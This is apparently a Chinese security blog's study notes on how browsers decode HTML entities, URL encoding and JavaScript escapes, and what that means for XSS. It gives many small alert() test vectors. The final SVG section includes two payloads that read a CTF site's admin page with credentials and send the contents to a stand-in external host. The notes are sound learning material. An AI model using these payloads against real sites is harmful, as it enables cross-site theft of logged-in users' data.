前言

最近,再看看xss,发现对xss并不是太了解,学习xss需要了解到浏览器的解释机制。我是看Tuuu Nya师傅文章里推荐的文章(深入理解浏览器解释机制和xss向量编码)。我自己总结一下吧。

浏览器解析机制

浏览器解析一篇HTML文档时,主要有三个处理过程:HTML解析,URL解析和JavaScript解析。每个解析器负责解码和解析HTML文档中它所对应的部分,他们的工作原理都已经在其对应的解释器规范中写明。我这里只是粗略的了解一番。

HTML解析

HTML词法解析细则

一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个’<’符号(后面没有跟’/‘符号)就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”,“前属性名状态(before attribute name state)”……最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。(原文内容)

这里有三种情况可以容纳字符实体,“数据状态中的字符引用”,“RCDATA状态中的字符引用”和“属性值状态中的字符引用”。在这些状态中HTML字符实体将会从“&#…”形式解码,对应的解码字符会被放入数据缓冲区中。
这里如果xss利用可以通过在属性中JavaScript:alert(1),转实体可以被解释,所以可以执行。但是实体化后的双引号,单引号,前括号并不能切换解释器状态,并不能解释为当前状态结束或开始,所以并不能用来添加属性或标签。
例子:

<div>&#60;img src=x onerror=alert(4)&#62;</div><”和“>”字符被编码为“&#60;”和“&#62;

解释:当解析器解析完“

”并处于“数据状态”。在遇到“<”和“>”时会被解析为“<”和“>”,但这并不是意味着“<”和“>”将会被理解为标签的开始和结束。解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。

在HTML中有五类元素:

1  空元素(Void elements),如<area>,<br>,<base>等等

2.  原始文本元素(Raw text elements),有<script><style>

3.  RCDATA元素(RCDATA elements),有<textarea><title>

4.  外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素

5.  基本元素(Normal elements),即除了以上4种元素以外的元素

五类元素的区别如下

  1. 空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。

  2. 原始文本元素,可以容纳文本。

  3. RCDATA元素,可以容纳文本和字符引用。

  4. 外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释

  5. 基本元素,可以容纳文本、字符引用、其他元素和注释

上面的“RCDATA状态”可以解释字符实体,在解析这些字符引用的过程中不会进入“标签开始状态”。在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到“<”字符,它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如<textarea>或<title>的内容中),唯一能够被解析器认做是标签的就是“</textarea>”或者“</title>”,即谁开始的这个状态,就解释谁的结束标签。
例子:

<textarea><script>alert(6);</script></textarea>
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
都不会执行js代码。

我们再来看一下CDATA元素。任何在CDATA元素中的内容将不会触发解析器创建开始标签。闭合CDATA元素的标志是“]]>”序列。因此如果用户想逃出CDATA元素,就要用未经任何编码的“]]>”序列,不然是不会逃出CDATA元素的。
例子:xml.xml

<xml>
    <name>&#60;</name>
    <value><![CDATA[&#60;]]></value>
</xml>

eGbATH.png

URL解析

URL解析细则
URL由三部分组成:资源类型、存放资源的主机域名、资源文件名
例子:

http://bobao.360.cn/learning/detail/292.html
资源类型:http
存放资源的主机域名:bobao.360.cn
资源文件名: learning/detail/292.html

首先,URL资源类型必须是ASCII字母。不然就会进入“无类型”状态。
例:

<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">alert1</a>
URL 编码 "javascript:alert(1)"  不会执行。

解释: 因为资源类型Javascript被url编码,进入“无类型”状态。

同样冒号也不能被编码。

<a href="javascript%3aalert(3)">alert3</a> 
不会执行。因为冒号被编码

但是:

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;"> aaaaaaaaaaaa</a>

能执行,这是“属性值中的字符引用”,这个情况中字符引用会被解码。我们将稍后讨论解析顺序。对href属性里的字符实体进行了解码。然后,当HTML解析器工作完成后,URL解析器开始解析href属性值里的链接。在这时,“javascript”协议已经被解码,它能够被URL解析器正确识别。这就是能被执行的原因。

URL编码过程使用UTF-8编码类型来编码每一个字符。如果你尝试着将URL链接做了其他编码类型的编码,URL解析器就可能不会正确识别。

JavaScript 解析

JavaScript解析细则

所有的“script”块都属于“原始文本”元素。“script”块有个有趣的属性:在块中的字符引用并不会被解析和解码。“脚本数据状态”的状态转换规则,没有任何规则能转移到字符引用状态。这意味含有字符实体的脚本并不会执行。所以如果攻击者尝试着将输入数据编码成字符实体并将其放在script块中,它将不会被执行。
例:

<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>
不会被执行。

当Unicode转义序列出现在标识符名称中时,它会被解码并解释为标识符名称的一部分,例如函数名,属性名等等。
例:

<script>\u0061\u006c\u0065\u0072\u0074(10);</script><!-- 能执行 -->
Unicode 编码 alert
被正确解析为函数名。

当用Unicode转义序列来表示一个控制字符时,例如单引号、双引号、圆括号等等,它们将不会被解释成控制字符,而仅仅被解码并解析为标识符名称或者字符串常量。
例:

<script>alert\u0028100\u0029</script>
Unicode 编码 '(' 和')'
<script>alert('13\u0027)</script>
Unicode 编码 " ' " (单引号)
把uniocde\u0027解析为了一个常量',而不是控制字符'。所以无法闭合。
都不能被执行

例:

 <script>alert(\u0031)</script>

不能执行
解释:
要么是因为'\u0031\u0032'不会被解释为字符串常量(因为它们没有用引号闭合)要么是因为它们是ASCII型数字。如果有引号闭合后能够执行。

例:

<script>alert('14\u000a')</script>
Unicode 编码换行符(0x0A)
能被执行。
解释:
'\u000a'会被解释成换行符文本,这并不会导致真正的换行从而引发JavaScript语法错误。

Unicode转义序列只有在标识符名称里不被当作字符串,也只有在标识符名称里的编码字符能够被正常的解析。

解析流程

当浏览器从网络堆栈中获得一段内容后,触发HTML解析器来对这篇文档进行词法解析。在这一步中字符引用被解码。在词法解析完成后,DOM树就被创建好了,JavaScript解析器会介入来对内联脚本进行解析。在这一步中Unicode转义序列和Hex转义序列被解码。同时,如果浏览器遇到需要URL的上下文,URL解析器也会介入来解码URL内容。在这一步中URL解码操作被完成。由于URL位置不同,URL解析器可能会在JavaScript解析器之前或之后进行解析。
考虑如下两种情况:

Example A: <a href="UserInput"></a>
Example B: <a href=#   onclick="window.open('UserInput')"></a>

在例A中,HTML解析器将首先开始工作,并对UserInput中的字符引用进行解码。然后URL解析器开始对href值进行URL解码。最后,如果URL资源类型是JavaScript,那么JavaScript解析器会进行Unicode转义序列和Hex转义序列的解码。再之后,解码的脚本会被执行。因此,这里涉及三轮解码,顺序是HTML,URL和JavaScript。

在例B中,HTML解析器首先工作。然而接下来,JavaScript解析器开始解析在onclick事件处理器中的值。这是因为在onclick事件处理器中是script的上下文。当这段JavaScript被解析并被执行的时候,它执行的是“window.open()”操作,其中的参数是URL的上下文。在此时,URL解析器开始对UserInput进行URL解码并把结果回传给JavaScript引擎。因此这里一共涉及三轮解码,顺序是HTML,JavaScript和URL。

Example   C: <a   href="javascript:window.open('UserInput')">

例C与例A很像,但不同的是在UserInput前多了window.open()操作。因此,对UserInput多了一次额外的URL解码操作。总的来说,四轮解码操作被完成,顺序是HTML,URL,JavaScript和URL。

svg xss

SVG 是使用 XML 来描述二维图形和绘图程序的语言。
也就是说<svg>遵循XML的定义。
在XML中实体会自动转义,除了<![CDATA[]]>包含的实体
上面的例子就能说明这一点。
SVG标准中定义了script标签的存在,<svg>遵循XML和SVG的定义,因此我们可以利用其来执行XSS。

<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve"> 
  <g>
    <polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>
    <script type="text/javascript">
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
          var xhr2 = new XMLHttpRequest();
          xhr2.open("POST", "http://xxxx.com/");
          xhr2.send(xhr.responseText);
        }
      }   
      xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
      xhr.withCredentials = true;
      xhr.send();
    </script>
  </g>
</svg>

这样就能获取到响应的信息。
或者:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 100 100" enable-background="new 0 0 100 100" xml:space="preserve">  
   <script>
      fetch("http://web50.zajebistyc.tf/profile/admin").then(r => r.text()).then(t => fetch("//example.com/"+btoa(t)));
   </script>
<image id="image0" width="100" height="100" x="0" y="0"
    href="" />
</svg>

总结

还是有点懵,先把xss学到这吧。 试试水去。之后再去存一点xss的payload。下次用的时候不用现想了。

  • xss payload

    转换脚本#coding=utf-8 import re s='javascript:alert(1);' flag_10='' flag_16='' flag_url='' for x in xrange(0,len(s)): ...

    xss payload
  • xss的绕过和利用

    同源策略同源策略(Same origin policy)是一种约定,它是最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。 浏览...

    xss的绕过和利用
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 计算机组成原理学习

    计算机组成原理第一章 计算机系统概论计算机系统的层次结构 冯·诺依曼计算机的特点 计算机由运算器、存储器、控制器、输入设备和输出设备五大部件组成 指令(程序)和数据以二进制同等地位地存储在存储器中,可按址寻访 指令由操作码和地址码组...

    计算机组成原理学习
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • bypass disfunction

    前言PHP 的 disabled_functions主要是用于禁用一些危险的函数防止攻击者执行系统命令。但是有一些绕过方法。这里做个总结。 基本思路有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在...

    bypass disfunction
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • RCE提高篇

    前言首先,需要了解一下命令执行的函数,这里推荐几篇文章,来认识这些函数。浅谈eval和assert从底层分析eval和assert的区别命令执行与代码执行的小结巧用命令注入的N种方式命令注入绕过姿势我就不在说这几个东西,大牛们都说的很...

    RCE提高篇
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)